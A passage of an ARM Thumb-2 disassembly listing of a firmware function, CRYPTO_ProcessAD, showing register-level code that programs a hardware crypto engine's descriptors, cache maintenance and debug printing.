ldr r1, [pc, #84] ; (1010508c <CRYPTO_ProcessAD+0x620>) 10105036: 4816 ldr r0, [pc, #88] ; (10105090 <CRYPTO_ProcessAD+0x624>) 10105038: f7fb f9dc bl 101003f4 <DiagPrintf> 1010503c: 4a15 ldr r2, [pc, #84] ; (10105094 <CRYPTO_ProcessAD+0x628>) 1010503e: 4651 mov r1, sl 10105040: 4620 mov r0, r4 10105042: 4b15 ldr r3, [pc, #84] ; (10105098 <CRYPTO_ProcessAD+0x62c>) 10105044: 4798 blx r3 10105046: e6b8 b.n 10104dba <CRYPTO_ProcessAD+0x34e> 10105048: f8d8 2000 ldr.w r2, [r8] 1010504c: 0495 lsls r5, r2, #18 1010504e: f57f af6a bpl.w 10104f26 <CRYPTO_ProcessAD+0x4ba> 10105052: 4812 ldr r0, [pc, #72] ; (1010509c <CRYPTO_ProcessAD+0x630>) 10105054: 9300 str r3, [sp, #0] 10105056: f7fb f9cd bl 101003f4 <DiagPrintf> 1010505a: 9b00 ldr r3, [sp, #0] 1010505c: e763 b.n 10104f26 <CRYPTO_ProcessAD+0x4ba> 1010505e: f8d8 3000 ldr.w r3, [r8] 10105062: 049a lsls r2, r3, #18 10105064: f57f aecb bpl.w 10104dfe <CRYPTO_ProcessAD+0x392> 10105068: 480c ldr r0, [pc, #48] ; (1010509c <CRYPTO_ProcessAD+0x630>) 1010506a: f7fb f9c3 bl 101003f4 <DiagPrintf> 1010506e: e6c6 b.n 10104dfe <CRYPTO_ProcessAD+0x392> 10105070: 101d4a78 .word 0x101d4a78 10105074: 101003f5 .word 0x101003f5 10105078: 50022000 .word 0x50022000 1010507c: 40022000 .word 0x40022000 10105080: 10000520 .word 0x10000520 10105084: 000f4240 .word 0x000f4240 10105088: 101d49ac .word 0x101d49ac 1010508c: 101d4a20 .word 0x101d4a20 10105090: 101d4a38 .word 0x101d4a38 10105094: 101d4afc .word 0x101d4afc 10105098: 10104539 .word 0x10104539 1010509c: 101d4aac .word 0x101d4aac 101050a0: 9b00 ldr r3, [sp, #0] 101050a2: f003 0107 and.w r1, r3, #7 101050a6: 9b10 ldr r3, [sp, #64] ; 0x40 101050a8: f003 0207 and.w r2, r3, #7 101050ac: 424b negs r3, r1 101050ae: f003 0307 and.w r3, r3, #7 101050b2: 65fb str r3, [r7, #92] ; 0x5c 101050b4: 4253 negs r3, r2 101050b6: f003 0307 and.w r3, r3, #7 101050ba: 657b str r3, [r7, #84] ; 0x54 101050bc: 693b ldr r3, [r7, #16] 101050be: 3301 adds r3, #1 101050c0: 61f9 str r1, [r7, #28] 101050c2: 623a str r2, [r7, #32] 101050c4: f47f ad14 bne.w 10104af0 <CRYPTO_ProcessAD+0x84> 101050c8: 2c00 cmp r4, #0 101050ca: f000 81f3 beq.w 101054b4 <CRYPTO_ProcessAD+0xa48> 101050ce: f04f 46d0 mov.w r6, #1744830464 ; 0x68000000 101050d2: 6dbb ldr r3, [r7, #88] ; 0x58 101050d4: 9a12 ldr r2, [sp, #72] ; 0x48 101050d6: f363 0617 bfi r6, r3, #0, #24 101050da: 2a00 cmp r2, #0 101050dc: f000 829a beq.w 10105614 <CRYPTO_ProcessAD+0xba8> 101050e0: 49be ldr r1, [pc, #760] ; (101053dc <CRYPTO_ProcessAD+0x970>) 101050e2: 694a ldr r2, [r1, #20] 101050e4: 03d2 lsls r2, r2, #15 101050e6: d512 bpl.n 1010510e <CRYPTO_ProcessAD+0x6a2> 101050e8: 3320 adds r3, #32 101050ea: f3bf 8f4f dsb sy 101050ee: 2b00 cmp r3, #0 101050f0: bfc8 it gt 101050f2: f024 021f bicgt.w r2, r4, #31 101050f6: dd06 ble.n 10105106 <CRYPTO_ProcessAD+0x69a> 101050f8: 3b20 subs r3, #32 101050fa: 2b00 cmp r3, #0 101050fc: f8c1 225c str.w r2, [r1, #604] ; 0x25c 10105100: f102 0220 add.w r2, r2, #32 10105104: dcf8 bgt.n 101050f8 <CRYPTO_ProcessAD+0x68c> 10105106: f3bf 8f4f dsb sy 1010510a: f3bf 8f6f isb sy 1010510e: 4bb4 ldr r3, [pc, #720] ; (101053e0 <CRYPTO_ProcessAD+0x974>) 10105110: e843 f200 tt r2, r3 10105114: 4bb3 ldr r3, [pc, #716] ; (101053e4 <CRYPTO_ProcessAD+0x978>) 10105116: f412 0f80 tst.w r2, #4194304 ; 0x400000 1010511a: 4db3 ldr r5, [pc, #716] ; (101053e8 <CRYPTO_ProcessAD+0x97c>) 1010511c: bf08 it eq 1010511e: 461d moveq r5, r3 10105120: f505 5380 add.w r3, r5, #4096 ; 0x1000 10105124: 681a ldr r2, [r3, #0] 10105126: f012 0fff tst.w r2, #255 ; 0xff 1010512a: f8df 82ec ldr.w r8, [pc, #748] ; 10105418 <CRYPTO_ProcessAD+0x9ac> 1010512e: f000 8131 beq.w 10105394 <CRYPTO_ProcessAD+0x928> 10105132: f8d8 3008 ldr.w r3, [r8, #8] 10105136: 049b lsls r3, r3, #18 10105138: d504 bpl.n 10105144 <CRYPTO_ProcessAD+0x6d8> 1010513a: 4622 mov r2, r4 1010513c: 4631 mov r1, r6 1010513e: 48ab ldr r0, [pc, #684] ; (101053ec <CRYPTO_ProcessAD+0x980>) 10105140: f7fb f958 bl 101003f4 <DiagPrintf> 10105144: f241 0204 movw r2, #4100 ; 0x1004 10105148: f241 0308 movw r3, #4104 ; 0x1008 1010514c: 50ae str r6, [r5, r2] 1010514e: 50ec str r4, [r5, r3] 10105150: 9b12 ldr r3, [sp, #72] ; 0x48 10105152: 2b00 cmp r3, #0 10105154: f43f ad0d beq.w 10104b72 <CRYPTO_ProcessAD+0x106> 10105158: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 1010515c: 2310 movs r3, #16 1010515e: f36f 65db bfc r5, #27, #1 10105162: f363 0507 bfi r5, r3, #0, #8 10105166: f045 5580 orr.w r5, r5, #268435456 ; 0x10000000 1010516a: 4b9c ldr r3, [pc, #624] ; (101053dc <CRYPTO_ProcessAD+0x970>) 1010516c: 695a ldr r2, [r3, #20] 1010516e: 03d0 lsls r0, r2, #15 10105170: d50e bpl.n 10105190 <CRYPTO_ProcessAD+0x724> 10105172: 9a12 ldr r2, [sp, #72] ; 0x48 10105174: f022 021f bic.w r2, r2, #31 10105178: f3bf 8f4f dsb sy 1010517c: f102 0120 add.w r1, r2, #32 10105180: f8c3 225c str.w r2, [r3, #604] ; 0x25c 10105184: f8c3 125c str.w r1, [r3, #604] ; 0x25c 10105188: f3bf 8f4f dsb sy 1010518c: f3bf 8f6f isb sy 10105190: 4b93 ldr r3, [pc, #588] ; (101053e0 <CRYPTO_ProcessAD+0x974>) 10105192: e843 f200 tt r2, r3 10105196: 4b93 ldr r3, [pc, #588] ; (101053e4 <CRYPTO_ProcessAD+0x978>) 10105198: f412 0f80 tst.w r2, #4194304 ; 0x400000 1010519c: 4c92 ldr r4, [pc, #584] ; (101053e8 <CRYPTO_ProcessAD+0x97c>) 1010519e: bf08 it eq 101051a0: 461c moveq r4, r3 101051a2: f504 5380 add.w r3, r4, #4096 ; 0x1000 101051a6: 681a ldr r2, [r3, #0] 101051a8: f012 0fff tst.w r2, #255 ; 0xff 101051ac: f43f acd8 beq.w 10104b60 <CRYPTO_ProcessAD+0xf4> 101051b0: f8d8 3008 ldr.w r3, [r8, #8] 101051b4: 0499 lsls r1, r3, #18 101051b6: d504 bpl.n 101051c2 <CRYPTO_ProcessAD+0x756> 101051b8: 9a12 ldr r2, [sp, #72] ; 0x48 101051ba: 4629 mov r1, r5 101051bc: 488b ldr r0, [pc, #556] ; (101053ec <CRYPTO_ProcessAD+0x980>) 101051be: f7fb f919 bl 101003f4 <DiagPrintf> 101051c2: f241 0204 movw r2, #4100 ; 0x1004 101051c6: f241 0308 movw r3, #4104 ; 0x1008 101051ca: 50a5 str r5, [r4, r2] 101051cc: 9a12 ldr r2, [sp, #72] ; 0x48 101051ce: 50e2 str r2, [r4, r3] 101051d0: e4cf b.n 10104b72 <CRYPTO_ProcessAD+0x106> 101051d2: f8d8 3000 ldr.w r3, [r8] 101051d6: 049a lsls r2, r3, #18 101051d8: f100 8163 bmi.w 101054a2 <CRYPTO_ProcessAD+0xa36> 101051dc: f04f 30ff mov.w r0, #4294967295 101051e0: b005 add sp, #20 101051e2: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 101051e6: f897 3031 ldrb.w r3, [r7, #49] ; 0x31 101051ea: 2b01 cmp r3, #1 101051ec: f47f acff bne.w 10104bee <CRYPTO_ProcessAD+0x182> 101051f0: 69fb ldr r3, [r7, #28] 101051f2: f897 1110 ldrb.w r1, [r7, #272] ; 0x110 101051f6: f363 1107 bfi r1, r3, #4, #4 101051fa: 6b7b ldr r3, [r7, #52] ; 0x34 101051fc: f106 020f add.w r2, r6, #15 10105200: 0912 lsrs r2, r2, #4 10105202: 00db lsls r3, r3, #3 10105204: f8a7 2116 strh.w r2, [r7, #278] ; 0x116 10105208: f887 1110 strb.w r1, [r7, #272] ; 0x110 1010520c: f8c7 3118 str.w r3, [r7, #280] ; 0x118 10105210: f897 310e ldrb.w r3, [r7, #270] ; 0x10e 10105214: f043 0302 orr.w r3, r3, #2 10105218: f36f 13c7 bfc r3, #7, #1 1010521c: f887 310e strb.w r3, [r7, #270] ; 0x10e 10105220: e4f0 b.n 10104c04 <CRYPTO_ProcessAD+0x198> 10105222: 7dbb ldrb r3, [r7, #22] 10105224: 2b00 cmp r3, #0 10105226: d078 beq.n 1010531a <CRYPTO_ProcessAD+0x8ae> 10105228: 2101 movs r1, #1 1010522a: f8d7 210c ldr.w r2, [r7, #268] ; 0x10c 1010522e: f897 3113 ldrb.w r3, [r7, #275] ; 0x113 10105232: f361 3290 bfi r2, r1, #14, #3 10105236: f043 0302 orr.w r3, r3, #2 1010523a: f8c7 210c str.w r2, [r7, #268] ; 0x10c 1010523e: f887 3113 strb.w r3, [r7, #275] ; 0x113 10105242: e4c5 b.n 10104bd0 <CRYPTO_ProcessAD+0x164> 10105244: 4633 mov r3, r6 10105246: 464a mov r2, r9 10105248: 4969 ldr r1, [pc, #420] ; (101053f0 <CRYPTO_ProcessAD+0x984>) 1010524a: 486a ldr r0, [pc, #424] ; (101053f4 <CRYPTO_ProcessAD+0x988>) 1010524c: f7fb f8d2 bl 101003f4 <DiagPrintf> 10105250: 4631 mov r1, r6 10105252: 4648 mov r0, r9 10105254: 4a68 ldr r2, [pc, #416] ; (101053f8 <CRYPTO_ProcessAD+0x98c>) 10105256: 4b69 ldr r3, [pc, #420] ; (101053fc <CRYPTO_ProcessAD+0x990>) 10105258: 4798 blx r3 1010525a: e69a b.n 10104f92 <CRYPTO_ProcessAD+0x526> 1010525c: 462a mov r2, r5 1010525e: 2320 movs r3, #32 10105260: 4963 ldr r1, [pc, #396] ; (101053f0 <CRYPTO_ProcessAD+0x984>) 10105262: 4864 ldr r0, [pc, #400] ; (101053f4 <CRYPTO_ProcessAD+0x988>) 10105264: f7fb f8c6 bl 101003f4 <DiagPrintf> 10105268: 4a65 ldr r2, [pc, #404] ; (10105400 <CRYPTO_ProcessAD+0x994>) 1010526a: 2120 movs r1, #32 1010526c: 4628 mov r0, r5 1010526e: 4b63 ldr r3, [pc, #396] ; (101053fc <CRYPTO_ProcessAD+0x990>) 10105270: 4798 blx r3 10105272: e4cf b.n 10104c14 <CRYPTO_ProcessAD+0x1a8> 10105274: f897 210c ldrb.w r2, [r7, #268] ; 0x10c 10105278: 687b ldr r3, [r7, #4] 1010527a: 7ab9 ldrb r1, [r7, #10] 1010527c: f363 0203 bfi r2, r3, #0, #4 10105280: f887 210c strb.w r2, [r7, #268] ; 0x10c 10105284: 2900 cmp r1, #0 10105286: d05d beq.n 10105344 <CRYPTO_ProcessAD+0x8d8> 10105288: b2d1 uxtb r1, r2 1010528a: 6cba ldr r2, [r7, #72] ; 0x48 1010528c: f36f 1105 bfc r1, #4, #2 10105290: 2a18 cmp r2, #24 10105292: f887 110c strb.w r1, [r7, #268] ; 0x10c 10105296: f000 81cc beq.w 10105632 <CRYPTO_ProcessAD+0xbc6> 1010529a: 2a20 cmp r2, #32 1010529c: f000 81b2 beq.w 10105604 <CRYPTO_ProcessAD+0xb98> 101052a0: 2a10 cmp r2, #16 101052a2: d105 bne.n 101052b0 <CRYPTO_ProcessAD+0x844> 101052a4: f897 210d ldrb.w r2, [r7, #269] ; 0x10d 101052a8: f36f 0201 bfc r2, #0, #2 101052ac: f887 210d strb.w r2, [r7, #269] ; 0x10d 101052b0: f897 0110 ldrb.w r0, [r7, #272] ; 0x110 101052b4: 69fa ldr r2, [r7, #28] 101052b6: f106 010f add.w r1, r6, #15 101052ba: f003 030f and.w r3, r3, #15 101052be: 0909 lsrs r1, r1, #4 101052c0: f362 1007 bfi r0, r2, #4, #4 101052c4: 2b08 cmp r3, #8 101052c6: f8a7 1116 strh.w r1, [r7, #278] ; 0x116 101052ca: f887 0110 strb.w r0, [r7, #272] ; 0x110 101052ce: d14e bne.n 1010536e <CRYPTO_ProcessAD+0x902> 101052d0: 9b01 ldr r3, [sp, #4] 101052d2: f897 1115 ldrb.w r1, [r7, #277] ; 0x115 101052d6: 330f adds r3, #15 101052d8: 091b lsrs r3, r3, #4 101052da: 6a3a ldr r2, [r7, #32] 101052dc: f363 0105 bfi r1, r3, #0, #6 101052e0: b2c3 uxtb r3, r0 101052e2: f362 0303 bfi r3, r2, #0, #4 101052e6: f887 1115 strb.w r1, [r7, #277] ; 0x115 101052ea: f887 3110 strb.w r3, [r7, #272] ; 0x110 101052ee: e03e b.n 1010536e <CRYPTO_ProcessAD+0x902> 101052f0: 2200 movs r2, #0 101052f2: b2db uxtb r3, r3 101052f4: f043 0320 orr.w r3, r3, #32 101052f8: f887 310e strb.w r3, [r7, #270] ; 0x10e 101052fc: f887 2030 strb.w r2, [r7, #48] ; 0x30 10105300: e45c b.n 10104bbc <CRYPTO_ProcessAD+0x150> 10105302: 4633 mov r3, r6 10105304: 462a mov r2, r5 10105306: 493a ldr r1, [pc, #232] ; (101053f0 <CRYPTO_ProcessAD+0x984>) 10105308: 483a ldr r0, [pc, #232] ; (101053f4 <CRYPTO_ProcessAD+0x988>) 1010530a: f7fb f873 bl 101003f4 <DiagPrintf> 1010530e: 4631 mov r1, r6 10105310: 4a3c ldr r2, [pc, #240] ; (10105404 <CRYPTO_ProcessAD+0x998>) 10105312: 4628 mov r0, r5 10105314: 4b39 ldr r3, [pc, #228] ; (101053fc <CRYPTO_ProcessAD+0x990>) 10105316: 4798 blx r3 10105318: e4a9 b.n 10104c6e <CRYPTO_ProcessAD+0x202> 1010531a: 7e3b ldrb r3, [r7, #24] 1010531c: 2b00 cmp r3, #0 1010531e: f43f ac57 beq.w 10104bd0 <CRYPTO_ProcessAD+0x164> 10105322: 2b1c cmp r3, #28 10105324: bf14 ite ne 10105326: 2103 movne r1, #3 10105328: 2102 moveq r1, #2 1010532a: e77e b.n 1010522a <CRYPTO_ProcessAD+0x7be> 1010532c: 462a mov r2, r5 1010532e: 2380 movs r3, #128 ; 0x80 10105330: 492f ldr r1, [pc, #188] ; (101053f0 <CRYPTO_ProcessAD+0x984>) 10105332: 4830 ldr r0, [pc, #192] ; (101053f4 <CRYPTO_ProcessAD+0x988>) 10105334: f7fb f85e bl 101003f4 <DiagPrintf> 10105338: 4628 mov r0, r5 1010533a: 4a33 ldr r2, [pc, #204] ; (10105408 <CRYPTO_ProcessAD+0x99c>) 1010533c: 2180 movs r1, #128 ; 0x80 1010533e: 4b2f ldr r3, [pc, #188] ; (101053fc <CRYPTO_ProcessAD+0x990>) 10105340: 4798 blx r3 10105342: e4f2 b.n 10104d2a <CRYPTO_ProcessAD+0x2be> 10105344: 7a3b ldrb r3, [r7, #8] 10105346: 2b00 cmp r3, #0 10105348: f000 8146 beq.w 101055d8 <CRYPTO_ProcessAD+0xb6c> 1010534c: 2201 movs r2, #1 1010534e: f897 010c ldrb.w r0, [r7, #268] ; 0x10c 10105352: f362 1005 bfi r0, r2, #4, #2 10105356: f897 210d ldrb.w r2, [r7, #269] ; 0x10d 1010535a: 1df3 adds r3, r6, #7 1010535c: 08db lsrs r3, r3, #3 1010535e: f361 0282 bfi r2, r1, #2, #1 10105362: f8a7 3116 strh.w r3, [r7, #278] ; 0x116 10105366: f887 010c strb.w r0, [r7, #268] ; 0x10c 1010536a: f887 210d strb.w r2, [r7, #269] ; 0x10d 1010536e: 7b3b ldrb r3, [r7, #12] 10105370: 7afa ldrb r2, [r7, #11] 10105372: b92b cbnz r3, 10105380 <CRYPTO_ProcessAD+0x914> 10105374: f897 310c ldrb.w r3, [r7, #268] ; 0x10c 10105378: f043 0380 orr.w r3, r3, #128 ; 0x80 1010537c: f887 310c strb.w r3, [r7, #268] ; 0x10c 10105380: 2a00 cmp r2, #0 10105382: f040 80c5 bne.w 10105510 <CRYPTO_ProcessAD+0xaa4> 10105386: f897 3112 ldrb.w r3, [r7, #274] ; 0x112 1010538a: f043 0302 orr.w r3, r3, #2 1010538e: f887 3112 strb.w r3, [r7, #274] ; 0x112 10105392: e437 b.n 10104c04 <CRYPTO_ProcessAD+0x198> 10105394: f8d8 2000 ldr.w r2, [r8] 10105398: 0494 lsls r4, r2, #18 1010539a: f57f aed9 bpl.w 10105150 <CRYPTO_ProcessAD+0x6e4> 1010539e: 6819 ldr r1, [r3, #0] 101053a0: 481a ldr r0, [pc, #104] ; (1010540c <CRYPTO_ProcessAD+0x9a0>) 101053a2: b2c9 uxtb r1, r1 101053a4: f7fb f826 bl 101003f4 <DiagPrintf> 101053a8: e6d2 b.n 10105150 <CRYPTO_ProcessAD+0x6e4> 101053aa: f240 21db movw r1, #731 ; 0x2db 101053ae: 4818 ldr r0, [pc, #96] ; (10105410 <CRYPTO_ProcessAD+0x9a4>) 101053b0: f7fb fa5e bl 10100870 <io_assert_failed> 101053b4: f7ff bb6f b.w 10104a96 <CRYPTO_ProcessAD+0x2a> 101053b8: f8d8 3000 ldr.w r3, [r8] 101053bc: 0499 lsls r1, r3, #18 101053be: f57f ade3 bpl.w 10104f88 <CRYPTO_ProcessAD+0x51c> 101053c2: 4814 ldr r0, [pc, #80] ; (10105414 <CRYPTO_ProcessAD+0x9a8>) 101053c4: f7fb f816 bl 101003f4 <DiagPrintf> 101053c8: e5de b.n 10104f88 <CRYPTO_ProcessAD+0x51c> 101053ca: f8d8 3000 ldr.w r3, [r8] 101053ce: 0499 lsls r1, r3, #18 101053d0: f57f ac3e bpl.w 10104c50 <CRYPTO_ProcessAD+0x1e4> 101053d4: 480f ldr r0, [pc, #60] ; (10105414 <CRYPTO_ProcessAD+0x9a8>) 101053d6: f7fb f80d bl 101003f4 <DiagPrintf> 101053da: e439 b.n 10104c50 <CRYPTO_ProcessAD+0x1e4> 101053dc: e000ed00 .word 0xe000ed00 101053e0: 101003f5 .word 0x101003f5 101053e4: 40022000 .word 0x40022000 101053e8: 50022000 .word 0x50022000 101053ec: 101d49ac .word 0x101d49ac 101053f0: 101d4a20 .word 0x101d4a20 101053f4: 101d4a38 .word 0x101d4a38 101053f8: 101d4b14 .word 0x101d4b14 101053fc: 10104539 .word 0x10104539 10105400: 101d4a64 .word 0x101d4a64 10105404: 101d4ae4 .word 0x101d4ae4 10105408: 101d4af4 .word 0x101d4af4 1010540c: 101d49e0 .word 0x101d49e0 10105410: 101d52fc .word 0x101d52fc 10105414: 101d4aac .word 0x101d4aac 10105418: 1000000c .word 0x1000000c 1010541c: 4623 mov r3, r4 1010541e: 4a8b ldr r2, [pc, #556] ; (1010564c <CRYPTO_ProcessAD+0xbe0>) 10105420: 498b ldr r1, [pc, #556] ; (10105650 <CRYPTO_ProcessAD+0xbe4>) 10105422: 488c ldr r0, [pc, #560] ; (10105654 <CRYPTO_ProcessAD+0xbe8>) 10105424: f7fa ffe6 bl 101003f4 <DiagPrintf> 10105428: 4621 mov r1, r4 1010542a: 4a8b ldr r2, [pc, #556] ; (10105658 <CRYPTO_ProcessAD+0xbec>) 1010542c: 4887 ldr r0, [pc, #540] ; (1010564c <CRYPTO_ProcessAD+0xbe0>) 1010542e: 4b8b ldr r3, [pc, #556] ; (1010565c <CRYPTO_ProcessAD+0xbf0>) 10105430: 4798 blx r3 10105432: e5ba b.n 10104faa <CRYPTO_ProcessAD+0x53e> 10105434: 9b0e ldr r3, [sp, #56] ; 0x38 10105436: 4652 mov r2, sl 10105438: 4985 ldr r1, [pc, #532] ; (10105650 <CRYPTO_ProcessAD+0xbe4>) 1010543a: 4886 ldr r0, [pc, #536] ; (10105654 <CRYPTO_ProcessAD+0xbe8>) 1010543c: f7fa ffda bl 101003f4 <DiagPrintf> 10105440: 990e ldr r1, [sp, #56] ; 0x38 10105442: 4a87 ldr r2, [pc, #540] ; (10105660 <CRYPTO_ProcessAD+0xbf4>) 10105444: 4650 mov r0, sl 10105446: 4b85 ldr r3, [pc, #532] ; (1010565c <CRYPTO_ProcessAD+0xbf0>) 10105448: 4798 blx r3 1010544a: e43f b.n 10104ccc <CRYPTO_ProcessAD+0x260> 1010544c: f8d8 3000 ldr.w r3, [r8] 10105450: 049e lsls r6, r3, #18 10105452: f57f ac2a bpl.w 10104caa <CRYPTO_ProcessAD+0x23e> 10105456: 4883 ldr r0, [pc, #524] ; (10105664 <CRYPTO_ProcessAD+0xbf8>) 10105458: f7fa ffcc bl 101003f4 <DiagPrintf> 1010545c: e425 b.n 10104caa <CRYPTO_ProcessAD+0x23e> 1010545e: 4623 mov r3, r4 10105460: 9a0f ldr r2, [sp, #60] ; 0x3c 10105462: 497b ldr r1, [pc, #492] ; (10105650 <CRYPTO_ProcessAD+0xbe4>) 10105464: 487b ldr r0, [pc, #492] ; (10105654 <CRYPTO_ProcessAD+0xbe8>) 10105466: f7fa ffc5 bl 101003f4 <DiagPrintf> 1010546a: 4621 mov r1, r4 1010546c: 4a7e ldr r2, [pc, #504] ; (10105668 <CRYPTO_ProcessAD+0xbfc>) 1010546e: 980f ldr r0, [sp, #60] ; 0x3c 10105470: 4b7a ldr r3, [pc, #488] ; (1010565c <CRYPTO_ProcessAD+0xbf0>) 10105472: 4798 blx r3 10105474: e4e0 b.n 10104e38 <CRYPTO_ProcessAD+0x3cc> 10105476: f8d8 3000 ldr.w r3, [r8] 1010547a: 049b lsls r3, r3, #18 1010547c: f57f aeae bpl.w 101051dc <CRYPTO_ProcessAD+0x770> 10105480: 487a ldr r0, [pc, #488] ; (1010566c <CRYPTO_ProcessAD+0xc00>) 10105482: f7fa ffb7 bl 101003f4 <DiagPrintf> 10105486: f04f 30ff mov.w r0, #4294967295 1010548a: e5be b.n 1010500a <CRYPTO_ProcessAD+0x59e> 1010548c: 4a6f ldr r2, [pc, #444] ; (1010564c <CRYPTO_ProcessAD+0xbe0>) 1010548e: 4970 ldr r1, [pc, #448] ; (10105650 <CRYPTO_ProcessAD+0xbe4>) 10105490: 4870 ldr r0, [pc, #448] ; (10105654 <CRYPTO_ProcessAD+0xbe8>) 10105492: f7fa ffaf bl 101003f4 <DiagPrintf> 10105496: 4a76 ldr r2, [pc, #472] ; (10105670 <CRYPTO_ProcessAD+0xc04>) 10105498: 6d79 ldr r1, [r7, #84] ; 0x54 1010549a: 486c ldr r0, [pc, #432] ; (1010564c <CRYPTO_ProcessAD+0xbe0>) 1010549c: 4b6f ldr r3, [pc, #444] ; (1010565c <CRYPTO_ProcessAD+0xbf0>) 1010549e: 4798 blx r3 101054a0: e4f4 b.n 10104e8c <CRYPTO_ProcessAD+0x420> 101054a2: 9903 ldr r1, [sp, #12] 101054a4: 4873 ldr r0, [pc, #460] ; (10105674 <CRYPTO_ProcessAD+0xc08>) 101054a6: f7fa ffa5 bl 101003f4 <DiagPrintf> 101054aa: f04f 30ff mov.w r0, #4294967295 101054ae: b005 add sp, #20 101054b0: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 101054b4: 9b12 ldr r3, [sp, #72] ; 0x48 101054b6: 2b00 cmp r3, #0 101054b8: f040 80af bne.w 1010561a <CRYPTO_ProcessAD+0xbae> 101054bc: f8df 81bc ldr.w r8, [pc, #444] ; 1010567c <CRYPTO_ProcessAD+0xc10> 101054c0: f7ff bb57 b.w 10104b72 <CRYPTO_ProcessAD+0x106> 101054c4: 7afa ldrb r2, [r7, #11] 101054c6: 2a00 cmp r2, #0 101054c8: f000 80bb beq.w 10105642 <CRYPTO_ProcessAD+0xbd6> 101054cc: 2002 movs r0, #2 101054ce: 69fb ldr r3, [r7, #28] 101054d0: f897 1110 ldrb.w r1, [r7, #272] ; 0x110 101054d4: 360f adds r6, #15 101054d6: f363 1107 bfi r1, r3, #4, #4 101054da: 9b01 ldr r3, [sp, #4] 101054dc: 0936 lsrs r6, r6, #4 101054de: 330f adds r3, #15 101054e0: f8a7 6116 strh.w r6, [r7, #278] ; 0x116 101054e4: f897 6115 ldrb.w r6, [r7, #277] ; 0x115 101054e8: 091b lsrs r3, r3, #4 101054ea: f363 0605 bfi r6, r3, #0, #6 101054ee: 6a3b ldr r3, [r7, #32] 101054f0: f363 0103 bfi r1, r3, #0, #4 101054f4: f897 310c ldrb.w r3, [r7, #268] ; 0x10c 101054f8: f360 1305 bfi r3, r0, #4, #2 101054fc: 7b38 ldrb r0, [r7, #12] 101054fe: f887 6115 strb.w r6, [r7, #277] ; 0x115 10105502: f887 1110 strb.w r1, [r7, #272] ; 0x110 10105506: f887 310c strb.w r3, [r7, #268] ; 0x10c 1010550a: 2800 cmp r0, #0 1010550c: f43f af32 beq.w 10105374 <CRYPTO_ProcessAD+0x908> 10105510: f897 1111 ldrb.w r1, [r7, #273] ; 0x111 10105514: f897 210d ldrb.w r2, [r7, #269] ; 0x10d 10105518: f897 3112 ldrb.w r3, [r7, #274] ; 0x112 1010551c: f041 0108 orr.w r1, r1, #8 10105520: f042 0210 orr.w r2, r2, #16 10105524: f043 03fe orr.w r3, r3, #254 ; 0xfe 10105528: f887 1111 strb.w r1, [r7, #273] ; 0x111 1010552c: f887 210d strb.w r2, [r7, #269] ; 0x10d 10105530: f887 3112 strb.w r3, [r7, #274] ; 0x112 10105534: f7ff bb66 b.w 10104c04 <CRYPTO_ProcessAD+0x198> 10105538: f8d8 3000 ldr.w r3, [r8] 1010553c: 049d lsls r5, r3, #18 1010553e: f57f ac27 bpl.w 10104d90 <CRYPTO_ProcessAD+0x324> 10105542: 4848 ldr r0, [pc, #288] ; (10105664 <CRYPTO_ProcessAD+0xbf8>) 10105544: f7fa ff56 bl 101003f4 <DiagPrintf> 10105548: e422 b.n 10104d90 <CRYPTO_ProcessAD+0x324> 1010554a: 6b79 ldr r1, [r7, #52] ; 0x34 1010554c: f897 0110 ldrb.w r0, [r7, #272] ; 0x110 10105550: 69fa ldr r2, [r7, #28] 10105552: f106 030f add.w r3, r6, #15 10105556: 00c9 lsls r1, r1, #3 10105558: 091b lsrs r3, r3, #4 1010555a: f501 7100 add.w r1, r1, #512 ; 0x200 1010555e: f362 1007 bfi r0, r2, #4, #4 10105562: f8a7 3116 strh.w r3, [r7, #278] ; 0x116 10105566: f8c7 1118 str.w r1, [r7, #280] ; 0x118 1010556a: f887 0110 strb.w r0, [r7, #272] ; 0x110 1010556e: e64f b.n 10105210 <CRYPTO_ProcessAD+0x7a4> 10105570: f8d8 3000 ldr.w r3, [r8] 10105574: 0498 lsls r0, r3, #18 10105576: f57f ad37 bpl.w 10104fe8 <CRYPTO_ProcessAD+0x57c> 1010557a: 483a ldr r0, [pc, #232] ; (10105664 <CRYPTO_ProcessAD+0xbf8>) 1010557c: f7fa ff3a bl 101003f4 <DiagPrintf> 10105580: e532 b.n 10104fe8 <CRYPTO_ProcessAD+0x57c> 10105582: 9e00 ldr r6, [sp, #0] 10105584: e4da b.n 10104f3c <CRYPTO_ProcessAD+0x4d0> 10105586: f8d8 3000 ldr.w r3, [r8] 1010558a: 0499 lsls r1, r3, #18 1010558c: f57f abbd bpl.w 10104d0a <CRYPTO_ProcessAD+0x29e> 10105590: 4834 ldr r0, [pc, #208] ; (10105664 <CRYPTO_ProcessAD+0xbf8>) 10105592: f7fa ff2f bl 101003f4 <DiagPrintf> 10105596: f7ff bbb8 b.w 10104d0a <CRYPTO_ProcessAD+0x29e> 1010559a: f240 21dd movw r1, #733 ; 0x2dd 1010559e: 4836 ldr r0, [pc, #216] ; (10105678 <CRYPTO_ProcessAD+0xc0c>) 101055a0: f7fb f966 bl 10100870 <io_assert_failed> 101055a4: f7ff ba7a b.w 10104a9c <CRYPTO_ProcessAD+0x30> 101055a8: 9b10 ldr r3, [sp, #64] ; 0x40 101055aa: 2b00 cmp r3, #0 101055ac: f43f ac65 beq.w 10104e7a <CRYPTO_ProcessAD+0x40e> 101055b0: 461c mov r4, r3 101055b2: e43a b.n 10104e2a <CRYPTO_ProcessAD+0x3be> 101055b4: f8d8 3000 ldr.w r3, [r8] 101055b8: 0499 lsls r1, r3, #18 101055ba: f57f ac86 bpl.w 10104eca <CRYPTO_ProcessAD+0x45e> 101055be: 4829 ldr r0, [pc, #164] ; (10105664 <CRYPTO_ProcessAD+0xbf8>) 101055c0: f7fa ff18 bl 101003f4 <DiagPrintf> 101055c4: e481 b.n 10104eca <CRYPTO_ProcessAD+0x45e> 101055c6: f8d8 3000 ldr.w r3, [r8] 101055ca: 049d lsls r5, r3, #18 101055cc: f57f ac53 bpl.w 10104e76 <CRYPTO_ProcessAD+0x40a> 101055d0: 4824 ldr r0, [pc, #144] ; (10105664 <CRYPTO_ProcessAD+0xbf8>) 101055d2: f7fa ff0f bl 101003f4 <DiagPrintf> 101055d6: e44e b.n 10104e76 <CRYPTO_ProcessAD+0x40a> 101055d8: 7a7b ldrb r3, [r7, #9] 101055da: 2b00 cmp r3, #0 